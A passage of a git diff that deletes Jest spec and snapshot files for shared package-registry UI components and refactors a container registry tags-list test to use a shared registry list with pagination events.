- });
- });
- });
-});
diff --git a/spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap b/spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap
deleted file mode 100644
index b576f1b2553..00000000000
--- a/spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap
+++ /dev/null
@@ -1,118 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`packages_list_row renders 1`] = `
-<div
- class="gl-display-flex gl-flex-direction-column gl-border-b-solid gl-border-t-solid gl-border-t-1 gl-border-b-1 gl-border-t-transparent gl-border-b-gray-100"
- data-qa-selector="package_row"
->
- <div
- class="gl-display-flex gl-align-items-center gl-py-3 gl-px-5"
- >
- <!---->
-
- <div
- class="gl-display-flex gl-xs-flex-direction-column gl-justify-content-space-between gl-align-items-stretch gl-flex-grow-1"
- >
- <div
- class="gl-display-flex gl-flex-direction-column gl-xs-mb-3 gl-min-w-0 gl-flex-grow-1"
- >
- <div
- class="gl-display-flex gl-align-items-center gl-text-body gl-font-weight-bold gl-min-h-6 gl-min-w-0"
- >
- <div
- class="gl-display-flex gl-align-items-center gl-mr-3 gl-min-w-0"
- >
- <gl-link-stub
- class="gl-text-body gl-min-w-0"
- data-qa-selector="package_link"
- href="foo"
- >
- <gl-truncate-stub
- position="end"
- text="Test package"
- />
- </gl-link-stub>
-
- <!---->
-
- <!---->
- </div>
-
- <!---->
- </div>
-
- <div
- class="gl-display-flex gl-align-items-center gl-text-gray-500 gl-min-h-6 gl-min-w-0 gl-flex-grow-1"
- >
- <div
- class="gl-display-flex"
- >
- <span>
- 1.0.0
- </span>
-
- <!---->
-
- <div />
-
- <package-path-stub
- path="foo/bar/baz"
- />
- </div>
- </div>
- </div>
-
- <div
- class="gl-display-flex gl-flex-direction-column gl-sm-align-items-flex-end gl-justify-content-space-between gl-text-gray-500 gl-flex-shrink-0"
- >
- <div
- class="gl-display-flex gl-align-items-center gl-sm-text-body gl-sm-font-weight-bold gl-min-h-6"
- >
- <publish-method-stub
- packageentity="[object Object]"
- />
- </div>
-
- <div
- class="gl-display-flex gl-align-items-center gl-min-h-6"
- >
- <span>
- <gl-sprintf-stub
- message="Created %{timestamp}"
- />
- </span>
- </div>
- </div>
- </div>
-
- <div
- class="gl-w-9 gl-display-none gl-sm-display-flex gl-justify-content-end gl-pr-1"
- >
- <gl-button-stub
- aria-label="Remove package"
- buttontextclasses=""
- category="secondary"
- data-testid="action-delete"
- icon="remove"
- size="medium"
- title="Remove package"
- variant="danger"
- />
- </div>
- </div>
-
- <div
- class="gl-display-flex"
- >
- <div
- class="gl-w-7"
- />
-
- <!---->
-
- <div
- class="gl-w-9"
- />
- </div>
-</div>
-`;
diff --git a/spec/frontend/packages/shared/components/__snapshots__/publish_method_spec.js.snap b/spec/frontend/packages/shared/components/__snapshots__/publish_method_spec.js.snap
deleted file mode 100644
index acdf7c49ebd..00000000000
--- a/spec/frontend/packages/shared/components/__snapshots__/publish_method_spec.js.snap
+++ /dev/null
@@ -1,42 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`publish_method renders 1`] = `
-<div
- class="gl-display-flex gl-align-items-center"
->
- <gl-icon-stub
- class="gl-mr-2"
- name="git-merge"
- size="16"
- />
-
- <span
- class="gl-mr-2"
- data-testid="pipeline-ref"
- >
- branch-name
- </span>
-
- <gl-icon-stub
- class="gl-mr-2"
- name="commit"
- size="16"
- />
-
- <gl-link-stub
- class="gl-mr-2"
- data-testid="pipeline-sha"
- href="../commit/sha-baz"
- >
- sha-baz
- </gl-link-stub>
-
- <clipboard-button-stub
- category="tertiary"
- size="small"
- text="sha-baz"
- title="Copy commit SHA"
- tooltipplacement="top"
- />
-</div>
-`;
diff --git a/spec/frontend/packages/shared/components/package_icon_and_name_spec.js b/spec/frontend/packages/shared/components/package_icon_and_name_spec.js
deleted file mode 100644
index c96a570a29c..00000000000
--- a/spec/frontend/packages/shared/components/package_icon_and_name_spec.js
+++ /dev/null
@@ -1,32 +0,0 @@
-import { GlIcon } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import PackageIconAndName from '~/packages/shared/components/package_icon_and_name.vue';
-
-describe('PackageIconAndName', () => {
- let wrapper;
-
- const findIcon = () => wrapper.find(GlIcon);
-
- const mountComponent = () => {
- wrapper = shallowMount(PackageIconAndName, {
- slots: {
- default: 'test',
- },
- });
- };
-
- it('has an icon', () => {
- mountComponent();
-
- const icon = findIcon();
-
- expect(icon.exists()).toBe(true);
- expect(icon.props('name')).toBe('package');
- });
-
- it('renders the slot content', () => {
- mountComponent();
-
- expect(wrapper.text()).toBe('test');
- });
-});
diff --git a/spec/frontend/packages/shared/components/package_list_row_spec.js b/spec/frontend/packages/shared/components/package_list_row_spec.js
deleted file mode 100644
index 5f2fc8ddfbd..00000000000
--- a/spec/frontend/packages/shared/components/package_list_row_spec.js
+++ /dev/null
@@ -1,185 +0,0 @@
-import { GlLink } from '@gitlab/ui';
-import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-
-import PackagesListRow from '~/packages/shared/components/package_list_row.vue';
-import PackagePath from '~/packages/shared/components/package_path.vue';
-import PackageTags from '~/packages/shared/components/package_tags.vue';
-import { PACKAGE_ERROR_STATUS } from '~/packages/shared/constants';
-
-import ListItem from '~/vue_shared/components/registry/list_item.vue';
-import { packageList } from '../../mock_data';
-
-describe('packages_list_row', () => {
- let wrapper;
- let store;
-
- const [packageWithoutTags, packageWithTags] = packageList;
-
- const InfrastructureIconAndName = { name: 'InfrastructureIconAndName', template: '<div></div>' };
- const PackageIconAndName = { name: 'PackageIconAndName', template: '<div></div>' };
-
- const findPackageTags = () => wrapper.findComponent(PackageTags);
- const findPackagePath = () => wrapper.findComponent(PackagePath);
- const findDeleteButton = () => wrapper.findByTestId('action-delete');
- const findPackageIconAndName = () => wrapper.findComponent(PackageIconAndName);
- const findInfrastructureIconAndName = () => wrapper.findComponent(InfrastructureIconAndName);
- const findListItem = () => wrapper.findComponent(ListItem);
- const findPackageLink = () => wrapper.findComponent(GlLink);
- const findWarningIcon = () => wrapper.findByTestId('warning-icon');
-
- const mountComponent = ({
- isGroup = false,
- packageEntity = packageWithoutTags,
- showPackageType = true,
- disableDelete = false,
- provide,
- } = {}) => {
- wrapper = shallowMountExtended(PackagesListRow, {
- store,
- provide,
- stubs: {
- ListItem,
- InfrastructureIconAndName,
- PackageIconAndName,
- },
- propsData: {
- packageLink: 'foo',
- packageEntity,
- isGroup,
- showPackageType,
- disableDelete,
- },
- directives: {
- GlTooltip: createMockDirective(),
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- it('renders', () => {
- mountComponent();
- expect(wrapper.element).toMatchSnapshot();
- });
-
- describe('tags', () => {
- it('renders package tags when a package has tags', () => {
- mountComponent({ isGroup: false, packageEntity: packageWithTags });
-
- expect(findPackageTags().exists()).toBe(true);
- });
-
- it('does not render when there are no tags', () => {
- mountComponent();
-
- expect(findPackageTags().exists()).toBe(false);
- });
- });
-
- describe('when is is group', () => {
- it('has a package path component', () => {
- mountComponent({ isGroup: true });
-
- expect(findPackagePath().exists()).toBe(true);
- expect(findPackagePath().props()).toMatchObject({ path: 'foo/bar/baz' });
- });
- });
-
- describe('showPackageType', () => {
- it('shows the type when set', () => {
- mountComponent();
-
- expect(findPackageIconAndName().exists()).toBe(true);
- });
-
- it('does not show the type when not set', () => {
- mountComponent({ showPackageType: false });
-
- expect(findPackageIconAndName().exists()).toBe(false);
- });
- });
-
- describe('deleteAvailable', () => {
- it('does not show when not set', () => {
- mountComponent({ disableDelete: true });
-
- expect(findDeleteButton().exists()).toBe(false);
- });
- });
-
- describe('delete button', () => {
- it('exists and has the correct props', () => {
- mountComponent({ packageEntity: packageWithoutTags });
-
- expect(findDeleteButton().exists()).toBe(true);
- expect(findDeleteButton().attributes()).toMatchObject({
- icon: 'remove',
- category: 'secondary',
- variant: 'danger',
- title: 'Remove package',
- });
- });
-
- it('emits the packageToDelete event when the delete button is clicked', async () => {
- mountComponent({ packageEntity: packageWithoutTags });
-
- findDeleteButton().vm.$emit('click');
-
- await wrapper.vm.$nextTick();
- expect(wrapper.emitted('packageToDelete')).toBeTruthy();
- expect(wrapper.emitted('packageToDelete')[0]).toEqual([packageWithoutTags]);
- });
- });
-
- describe('Infrastructure config', () => {
- it('defaults to package registry components', () => {
- mountComponent();
-
- expect(findPackageIconAndName().exists()).toBe(true);
- expect(findInfrastructureIconAndName().exists()).toBe(false);
- });
-
- it('mounts different component based on the provided values', () => {
- mountComponent({
- provide: {
- iconComponent: 'InfrastructureIconAndName',
- },
- });
-
- expect(findPackageIconAndName().exists()).toBe(false);
-
- expect(findInfrastructureIconAndName().exists()).toBe(true);
- });
- });
-
- describe(`when the package is in ${PACKAGE_ERROR_STATUS} status`, () => {
- beforeEach(() => {
- mountComponent({ packageEntity: { ...packageWithoutTags, status: PACKAGE_ERROR_STATUS } });
- });
-
- it('list item has a disabled prop', () => {
- expect(findListItem().props('disabled')).toBe(true);
- });
-
- it('details link is disabled', () => {
- expect(findPackageLink().attributes('disabled')).toBe('true');
- });
-
- it('has a warning icon', () => {
- const icon = findWarningIcon();
- const tooltip = getBinding(icon.element, 'gl-tooltip');
- expect(icon.props('icon')).toBe('warning');
- expect(tooltip.value).toMatchObject({
- title: 'Invalid Package: failed metadata extraction',
- });
- });
-
- it('delete button is disabled', () => {
- expect(findDeleteButton().props('disabled')).toBe(true);
- });
- });
-});
diff --git a/spec/frontend/packages/shared/components/package_path_spec.js b/spec/frontend/packages/shared/components/package_path_spec.js
deleted file mode 100644
index edbdd55c1d7..00000000000
--- a/spec/frontend/packages/shared/components/package_path_spec.js
+++ /dev/null
@@ -1,104 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-import PackagePath from '~/packages/shared/components/package_path.vue';
-
-describe('PackagePath', () => {
- let wrapper;
-
- const mountComponent = (propsData = { path: 'foo' }) => {
- wrapper = shallowMount(PackagePath, {
- propsData,
- directives: {
- GlTooltip: createMockDirective(),
- },
- });
- };
-
- const BASE_ICON = 'base-icon';
- const ROOT_LINK = 'root-link';
- const ROOT_CHEVRON = 'root-chevron';
- const ELLIPSIS_ICON = 'ellipsis-icon';
- const ELLIPSIS_CHEVRON = 'ellipsis-chevron';
- const LEAF_LINK = 'leaf-link';
-
- const findItem = (name) => wrapper.find(`[data-testid="${name}"]`);
- const findTooltip = (w) => getBinding(w.element, 'gl-tooltip');
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- describe.each`
- path | rootUrl | shouldExist | shouldNotExist
- ${'foo/bar'} | ${'/foo/bar'} | ${[]} | ${[ROOT_CHEVRON, ELLIPSIS_ICON, ELLIPSIS_CHEVRON, LEAF_LINK]}
- ${'foo/bar/baz'} | ${'/foo/bar'} | ${[ROOT_CHEVRON, LEAF_LINK]} | ${[ELLIPSIS_ICON, ELLIPSIS_CHEVRON]}
- ${'foo/bar/baz/baz2'} | ${'/foo/bar'} | ${[ROOT_CHEVRON, LEAF_LINK, ELLIPSIS_ICON, ELLIPSIS_CHEVRON]} | ${[]}
- ${'foo/bar/baz/baz2/bar2'} | ${'/foo/bar'} | ${[ROOT_CHEVRON, LEAF_LINK, ELLIPSIS_ICON, ELLIPSIS_CHEVRON]} | ${[]}
- `('given path $path', ({ path, shouldExist, shouldNotExist, rootUrl }) => {
- const pathPieces = path.split('/').slice(1);
- const hasTooltip = shouldExist.includes(ELLIPSIS_ICON);
-
- describe('not disabled component', () => {
- beforeEach(() => {
- mountComponent({ path });
- });
-
- it('should have a base icon', () => {
- expect(findItem(BASE_ICON).exists()).toBe(true);
- });
-
- it('should have a root link', () => {
- const root = findItem(ROOT_LINK);
- expect(root.exists()).toBe(true);
- expect(root.attributes('href')).toBe(rootUrl);
- });
-
- if (hasTooltip) {
- it('should have a tooltip', () => {
- const tooltip = findTooltip(findItem(ELLIPSIS_ICON));
- expect(tooltip).toBeDefined();
- expect(tooltip.value).toMatchObject({
- title: path,
- });
- });
- }
-
- if (shouldExist.length) {
- it.each(shouldExist)(`should have %s`, (element) => {
- expect(findItem(element).exists()).toBe(true);
- });
- }
-
- if (shouldNotExist.length) {
- it.each(shouldNotExist)(`should not have %s`, (element) => {
- expect(findItem(element).exists()).toBe(false);
- });
- }
-
- if (shouldExist.includes(LEAF_LINK)) {
- it('the last link should be the last piece of the path', () => {
- const leaf = findItem(LEAF_LINK);
- expect(leaf.attributes('href')).toBe(`/${path}`);
- expect(leaf.text()).toBe(pathPieces[pathPieces.length - 1]);
- });
- }
- });
-
- describe('disabled component', () => {
- beforeEach(() => {
- mountComponent({ path, disabled: true });
- });
-
- it('root link is disabled', () => {
- expect(findItem(ROOT_LINK).attributes('disabled')).toBe('true');
- });
-
- if (shouldExist.includes(LEAF_LINK)) {
- it('the last link is disabled', () => {
- expect(findItem(LEAF_LINK).attributes('disabled')).toBe('true');
- });
- }
- });
- });
-});
diff --git a/spec/frontend/packages/shared/components/package_tags_spec.js b/spec/frontend/packages/shared/components/package_tags_spec.js
deleted file mode 100644
index d26e4e76b87..00000000000
--- a/spec/frontend/packages/shared/components/package_tags_spec.js
+++ /dev/null
@@ -1,107 +0,0 @@
-import { mount } from '@vue/test-utils';
-import PackageTags from '~/packages/shared/components/package_tags.vue';
-import { mockTags } from '../../mock_data';
-
-describe('PackageTags', () => {
- let wrapper;
-
- function createComponent(tags = [], props = {}) {
- const propsData = {
- tags,
- ...props,
- };
-
- wrapper = mount(PackageTags, {
- propsData,
- });
- }
-
- const tagLabel = () => wrapper.find('[data-testid="tagLabel"]');
- const tagBadges = () => wrapper.findAll('[data-testid="tagBadge"]');
- const moreBadge = () => wrapper.find('[data-testid="moreBadge"]');
-
- afterEach(() => {
- if (wrapper) wrapper.destroy();
- });
-
- describe('tag label', () => {
- it('shows the tag label by default', () => {
- createComponent();
-
- expect(tagLabel().exists()).toBe(true);
- });
-
- it('hides when hideLabel prop is set to true', () => {
- createComponent(mockTags, { hideLabel: true });
-
- expect(tagLabel().exists()).toBe(false);
- });
- });
-
- it('renders the correct number of tags', () => {
- createComponent(mockTags.slice(0, 2));
-
- expect(tagBadges()).toHaveLength(2);
- expect(moreBadge().exists()).toBe(false);
- });
-
- it('does not render more than the configured tagDisplayLimit', () => {
- createComponent(mockTags);
-
- expect(tagBadges()).toHaveLength(2);
- });
-
- it('renders the more tags badge if there are more than the configured limit', () => {
- createComponent(mockTags);
-
- expect(tagBadges()).toHaveLength(2);
- expect(moreBadge().exists()).toBe(true);
- expect(moreBadge().text()).toContain('2');
- });
-
- it('renders the configured tagDisplayLimit when set in props', () => {
- createComponent(mockTags, { tagDisplayLimit: 1 });
-
- expect(tagBadges()).toHaveLength(1);
- expect(moreBadge().exists()).toBe(true);
- expect(moreBadge().text()).toContain('3');
- });
-
- describe('tagBadgeStyle', () => {
- const defaultStyle = ['badge', 'badge-info', 'gl-display-none'];
-
- it('shows tag badge when there is only one', () => {
- createComponent([mockTags[0]]);
-
- const expectedStyle = [...defaultStyle, 'gl-display-flex', 'gl-ml-3'];
-
- expect(tagBadges().at(0).classes()).toEqual(expect.arrayContaining(expectedStyle));
- });
-
- it('shows tag badge for medium or heigher resolutions', () => {
- createComponent(mockTags);
-
- const expectedStyle = [...defaultStyle, 'd-md-flex'];
-
- expect(tagBadges().at(1).classes()).toEqual(expect.arrayContaining(expectedStyle));
- });
-
- it('correctly prepends left and appends right when there is more than one tag', () => {
- createComponent(mockTags, {
- tagDisplayLimit: 4,
- });
-
- const expectedStyleWithoutAppend = [...defaultStyle, 'd-md-flex'];
- const expectedStyleWithAppend = [...expectedStyleWithoutAppend, 'gl-mr-2'];
-
- const allBadges = tagBadges();
-
- expect(allBadges.at(0).classes()).toEqual(
- expect.arrayContaining([...expectedStyleWithAppend, 'gl-ml-3']),
- );
- expect(allBadges.at(1).classes()).toEqual(expect.arrayContaining(expectedStyleWithAppend));
- expect(allBadges.at(2).classes()).toEqual(expect.arrayContaining(expectedStyleWithAppend));
- expect(allBadges.at(3).classes()).toEqual(expect.arrayContaining(expectedStyleWithoutAppend));
- });
- });
-});
diff --git a/spec/frontend/packages/shared/components/packages_list_loader_spec.js b/spec/frontend/packages/shared/components/packages_list_loader_spec.js
deleted file mode 100644
index 4ff01068f92..00000000000
--- a/spec/frontend/packages/shared/components/packages_list_loader_spec.js
+++ /dev/null
@@ -1,51 +0,0 @@
-import { mount } from '@vue/test-utils';
-import PackagesListLoader from '~/packages/shared/components/packages_list_loader.vue';
-
-describe('PackagesListLoader', () => {
- let wrapper;
-
- const createComponent = (props = {}) => {
- wrapper = mount(PackagesListLoader, {
- propsData: {
- ...props,
- },
- });
- };
-
- const findDesktopShapes = () => wrapper.find('[data-testid="desktop-loader"]');
- const findMobileShapes = () => wrapper.find('[data-testid="mobile-loader"]');
-
- beforeEach(createComponent);
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- describe('desktop loader', () => {
- it('produces the right loader', () => {
- expect(findDesktopShapes().findAll('rect[width="1000"]')).toHaveLength(20);
- });
-
- it('has the correct classes', () => {
- expect(findDesktopShapes().classes()).toEqual([
- 'gl-display-none',
- 'gl-sm-display-flex',
- 'gl-flex-direction-column',
- ]);
- });
- });
-
- describe('mobile loader', () => {
- it('produces the right loader', () => {
- expect(findMobileShapes().findAll('rect[height="170"]')).toHaveLength(5);
- });
-
- it('has the correct classes', () => {
- expect(findMobileShapes().classes()).toEqual([
- 'gl-flex-direction-column',
- 'gl-sm-display-none',
- ]);
- });
- });
-});
diff --git a/spec/frontend/packages/shared/components/publish_method_spec.js b/spec/frontend/packages/shared/components/publish_method_spec.js
deleted file mode 100644
index 6014774990c..00000000000
--- a/spec/frontend/packages/shared/components/publish_method_spec.js
+++ /dev/null
@@ -1,50 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import PublishMethod from '~/packages/shared/components/publish_method.vue';
-import { packageList } from '../../mock_data';
-
-describe('publish_method', () => {
- let wrapper;
-
- const [packageWithoutPipeline, packageWithPipeline] = packageList;
-
- const findPipelineRef = () => wrapper.find('[data-testid="pipeline-ref"]');
- const findPipelineSha = () => wrapper.find('[data-testid="pipeline-sha"]');
- const findManualPublish = () => wrapper.find('[data-testid="manually-published"]');
-
- const mountComponent = (packageEntity = {}, isGroup = false) => {
- wrapper = shallowMount(PublishMethod, {
- propsData: {
- packageEntity,
- isGroup,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- it('renders', () => {
- mountComponent(packageWithPipeline);
- expect(wrapper.element).toMatchSnapshot();
- });
-
- describe('pipeline information', () => {
- it('displays branch and commit when pipeline info exists', () => {
- mountComponent(packageWithPipeline);
-
- expect(findPipelineRef().exists()).toBe(true);
- expect(findPipelineSha().exists()).toBe(true);
- });
-
- it('does not show any pipeline details when no information exists', () => {
- mountComponent(packageWithoutPipeline);
-
- expect(findPipelineRef().exists()).toBe(false);
- expect(findPipelineSha().exists()).toBe(false);
- expect(findManualPublish().exists()).toBe(true);
- expect(findManualPublish().text()).toBe('Manually Published');
- });
- });
-});
diff --git a/spec/frontend/packages/shared/utils_spec.js b/spec/frontend/packages/shared/utils_spec.js
deleted file mode 100644
index a1076b729f8..00000000000
--- a/spec/frontend/packages/shared/utils_spec.js
+++ /dev/null
@@ -1,69 +0,0 @@
-import { PackageType, TrackingCategories } from '~/packages/shared/constants';
-import {
- packageTypeToTrackCategory,
- beautifyPath,
- getPackageTypeLabel,
- getCommitLink,
-} from '~/packages/shared/utils';
-import { packageList } from '../mock_data';
-
-describe('Packages shared utils', () => {
- describe('packageTypeToTrackCategory', () => {
- it('prepend UI to package category', () => {
- expect(packageTypeToTrackCategory()).toMatchInlineSnapshot(`"UI::undefined"`);
- });
-
- it.each(Object.keys(PackageType))('returns a correct category string for %s', (packageKey) => {
- const packageName = PackageType[packageKey];
- expect(packageTypeToTrackCategory(packageName)).toBe(
- `UI::${TrackingCategories[packageName]}`,
- );
- });
- });
-
- describe('beautifyPath', () => {
- it('returns a string with spaces around /', () => {
- expect(beautifyPath('foo/bar')).toBe('foo / bar');
- });
- it('does not fail for empty string', () => {
- expect(beautifyPath()).toBe('');
- });
- });
-
- describe('getPackageTypeLabel', () => {
- describe.each`
- packageType | expectedResult
- ${'conan'} | ${'Conan'}
- ${'maven'} | ${'Maven'}
- ${'npm'} | ${'npm'}
- ${'nuget'} | ${'NuGet'}
- ${'pypi'} | ${'PyPI'}
- ${'rubygems'} | ${'RubyGems'}
- ${'composer'} | ${'Composer'}
- ${'debian'} | ${'Debian'}
- ${'helm'} | ${'Helm'}
- ${'foo'} | ${null}
- `(`package type`, ({ packageType, expectedResult }) => {
- it(`${packageType} should show as ${expectedResult}`, () => {
- expect(getPackageTypeLabel(packageType)).toBe(expectedResult);
- });
- });
- });
-
- describe('getCommitLink', () => {
- it('returns a relative link when isGroup is false', () => {
- const link = getCommitLink(packageList[0], false);
-
- expect(link).toContain('../commit');
- });
-
- describe('when isGroup is true', () => {
- it('returns an absolute link matching project path', () => {
- const mavenPackage = packageList[0];
- const link = getCommitLink(mavenPackage, true);
-
- expect(link).toContain(`/${mavenPackage.project_path}/commit`);
- });
- });
- });
-});
diff --git a/spec/frontend/packages_and_registries/container_registry/explorer/components/details_page/tags_list_spec.js b/spec/frontend/packages_and_registries/container_registry/explorer/components/details_page/tags_list_spec.js
index 9a42c82d7e0..56f12e2f0bb 100644
--- a/spec/frontend/packages_and_registries/container_registry/explorer/components/details_page/tags_list_spec.js
+++ b/spec/frontend/packages_and_registries/container_registry/explorer/components/details_page/tags_list_spec.js
@@ -1,18 +1,16 @@
-import { GlButton, GlKeysetPagination } from '@gitlab/ui';
import { shallowMount, createLocalVue } from '@vue/test-utils';
import { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
+import { stripTypenames } from 'helpers/graphql_helpers';
import EmptyTagsState from '~/packages_and_registries/container_registry/explorer/components/details_page/empty_state.vue';
import component from '~/packages_and_registries/container_registry/explorer/components/details_page/tags_list.vue';
import TagsListRow from '~/packages_and_registries/container_registry/explorer/components/details_page/tags_list_row.vue';
import TagsLoader from '~/packages_and_registries/container_registry/explorer/components/details_page/tags_loader.vue';
-import {
- TAGS_LIST_TITLE,
- REMOVE_TAGS_BUTTON_TITLE,
-} from '~/packages_and_registries/container_registry/explorer/constants/index';
+import RegistryList from '~/packages_and_registries/shared/components/registry_list.vue';
import getContainerRepositoryTagsQuery from '~/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repository_tags.query.graphql';
+import { GRAPHQL_PAGE_SIZE } from '~/packages_and_registries/container_registry/explorer/constants/index';
import { tagsMock, imageTagsMock, tagsPageInfo } from '../../mock_data';
const localVue = createLocalVue();
@@ -20,25 +18,20 @@ const localVue = createLocalVue();
describe('Tags List', () => {
let wrapper;
let apolloProvider;
+ let resolver;
const tags = [...tagsMock];
- const readOnlyTags = tags.map((t) => ({ ...t, canDelete: false }));
- const findTagsListRow = () => wrapper.findAll(TagsListRow);
- const findDeleteButton = () => wrapper.find(GlButton);
- const findListTitle = () => wrapper.find('[data-testid="list-title"]');
- const findPagination = () => wrapper.find(GlKeysetPagination);
- const findEmptyState = () => wrapper.find(EmptyTagsState);
- const findTagsLoader = () => wrapper.find(TagsLoader);
+ const findTagsListRow = () => wrapper.findAllComponents(TagsListRow);
+ const findRegistryList = () => wrapper.findComponent(RegistryList);
+ const findEmptyState = () => wrapper.findComponent(EmptyTagsState);
+ const findTagsLoader = () => wrapper.findComponent(TagsLoader);
const waitForApolloRequestRender = async () => {
await waitForPromises();
await nextTick();
};
- const mountComponent = ({
- propsData = { isMobile: false, id: 1 },
- resolver = jest.fn().mockResolvedValue(imageTagsMock()),
- } = {}) => {
+ const mountComponent = ({ propsData = { isMobile: false, id: 1 } } = {}) => {
localVue.use(VueApollo);
const requestHandlers = [[getContainerRepositoryTagsQuery, resolver]];
@@ -48,6 +41,7 @@ describe('Tags List', () => {
localVue,
apolloProvider,
propsData,
+ stubs: { RegistryList },
provide() {
return {
config: {},
@@ -56,99 +50,58 @@ describe('Tags List', () => {
});
};
+ beforeEach(() => {
+ resolver = jest.fn().mockResolvedValue(imageTagsMock());
+ });
+
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
- describe('List title', () => {
- it('exists', async () => {
+ describe('registry list', () => {
+ beforeEach(() => {
mountComponent();
- await waitForApolloRequestRender();
-
- expect(findListTitle().exists()).toBe(true);
+ return waitForApolloRequestRender();
});
- it('has the correct text', async () => {
- mountComponent();
-
- await waitForApolloRequestRender();
-
- expect(findListTitle().text()).toBe(TAGS_LIST_TITLE);
+ it('binds the correct props', () => {
+ expect(findRegistryList().props()).toMatchObject({
+ title: '2 tags',
+ pagination: stripTypenames(tagsPageInfo),
+ items: stripTypenames(tags),
+ idProperty: 'name',
+ });
});
- });
- describe('delete button', () => {
- it.each`
- inputTags | isMobile | isVisible
- ${tags} | ${false} | ${true}
- ${tags} | ${true} | ${false}
- ${readOnlyTags} | ${false} | ${false}
- ${readOnlyTags} | ${true} | ${false}
- `(
- 'is $isVisible that delete button exists when tags is $inputTags and isMobile is $isMobile',
- async ({ inputTags, isMobile, isVisible }) => {
- mountComponent({
- propsData: { tags: inputTags, isMobile, id: 1 },
- resolver: jest.fn().mockResolvedValue(imageTagsMock(inputTags)),
+ describe('events', () => {
+ it('prev-page fetch the previous page', () => {
+ findRegistryList().vm.$emit('prev-page');
+
+ expect(resolver).toHaveBeenCalledWith({
+ first: null,
+ before: tagsPageInfo.startCursor,
+ last: GRAPHQL_PAGE_SIZE,
+ id: '1',
});
-
- await waitForApolloRequestRender();
-
- expect(findDeleteButton().exists()).toBe(isVisible);
- },
- );
-
- it('has the correct text', async () => {
- mountComponent();
-
- await waitForApolloRequestRender();
-
- expect(findDeleteButton().text()).toBe(REMOVE_TAGS_BUTTON_TITLE);
- });
-
- it('has the correct props', async () => {
- mountComponent();
- await waitForApolloRequestRender();
-
- expect(findDeleteButton().attributes()).toMatchObject({
- category: 'secondary',
- variant: 'danger',
});
- });
-
- it.each`
- disabled | doSelect | buttonDisabled
- ${true} | ${false} | ${'true'}
- ${true} | ${true} | ${'true'}
- ${false} | ${false} | ${'true'}
- ${false} | ${true} | ${undefined}
- `(
- 'is $buttonDisabled that the button is disabled when the component disabled state is $disabled and is $doSelect that the user selected a tag',
- async ({ disabled, buttonDisabled, doSelect }) => {
- mountComponent({ propsData: { tags, disabled, isMobile: false, id: 1 } });
-
- await waitForApolloRequestRender();
-
- if (doSelect) {
- findTagsListRow().at(0).vm.$emit('select');
- await nextTick();
- }
- expect(findDeleteButton().attributes('disabled')).toBe(buttonDisabled);
- },
- );
+ it('next-page fetch the previous page', () => {
+ findRegistryList().vm.$emit('next-page');
- it('click event emits a deleted event with selected items', async () => {
- mountComponent();
-
- await waitForApolloRequestRender();
+ expect(resolver).toHaveBeenCalledWith({
+ after: tagsPageInfo.endCursor,
+ first: GRAPHQL_PAGE_SIZE,
+ id: '1',
+ });
+ });
- findTagsListRow().at(0).vm.$emit('select');
- findDeleteButton().vm.$emit('click');
+ it('emits a delete event when list emits delete', () => {
+ const eventPayload = 'foo';
+ findRegistryList().vm.$emit('delete', eventPayload);
- expect(wrapper.emitted('delete')[0][0][0].name).toBe(tags[0].name);
+ expect(wrapper.emitted('delete')).toEqual([[eventPayload]]);
+ });
});
});
@@ -199,10 +152,12 @@ describe('Tags List', () => {
});
describe('when the list of tags is empty', () => {
- const resolver = jest.fn().mockResolvedValue(imageTagsMock([]));
+ beforeEach(() => {
+ resolver = jest.fn().mockResolvedValue(imageTagsMock([]));
+ });
it('has the empty state', async () => {
- mountComponent({ resolver });
+ mountComponent();
await waitForApolloRequestRender();
@@ -210,7 +165,7 @@ describe('Tags List', () => {
});
it('does not show the loader', async () => {
- mountComponent({ resolver });
+ mountComponent();
await waitForApolloRequestRender();
@@ -218,76 +173,13 @@ describe('Tags List', () => {
});
it('does not show the list', async () => {
- mountComponent({ resolver });
-
- await waitForApolloRequestRender();
-
- expect(findTagsListRow().exists()).toBe(false);
- expect(findListTitle().exists()).toBe(false);
- });
- });
-
- describe('pagination', () => {
- it('exists', async () => {
- mountComponent();
-
- await waitForApolloRequestRender();
-
- expect(findPagination().exists()).toBe(true);
- });
-
- it('is hidden when loading', () => {
mountComponent();
- expect(findPagination().exists()).toBe(false);
- });
-
- it('is hidden when there are no more pages', async () => {
- mountComponent({ resolver: jest.fn().mockResolvedValue(imageTagsMock([])) });
-
await waitForApolloRequestRender();
- expect(findPagination().exists()).toBe(false);
- });
-
- it('is wired to the correct pagination props', async () => {
- mountComponent();
-
- await waitForApolloRequestRender();
-
- expect(findPagination().props()).toMatchObject({
- hasNextPage: tagsPageInfo.hasNextPage,
- hasPreviousPage: tagsPageInfo.hasPreviousPage,
- });
- });
-
- it('fetch next page when user clicks next', async () => {
- const resolver = jest.fn().mockResolvedValue(imageTagsMock());
- mountComponent({ resolver });
-
- await waitForApolloRequestRender();
-
- findPagination().vm.$emit('next');
-
- expect(resolver).toHaveBeenCalledWith(
- expect.objectContaining({ after: tagsPageInfo.endCursor }),
- );
- });
-
- it('fetch previous page when user clicks prev', async () => {
- const resolver = jest.fn().mockResolvedValue(imageTagsMock());
- mountComponent({ resolver });
-
- await waitForApolloRequestRender();
-
- findPagination().vm.$emit('prev');
-
- expect(resolver).toHaveBeenCalledWith(
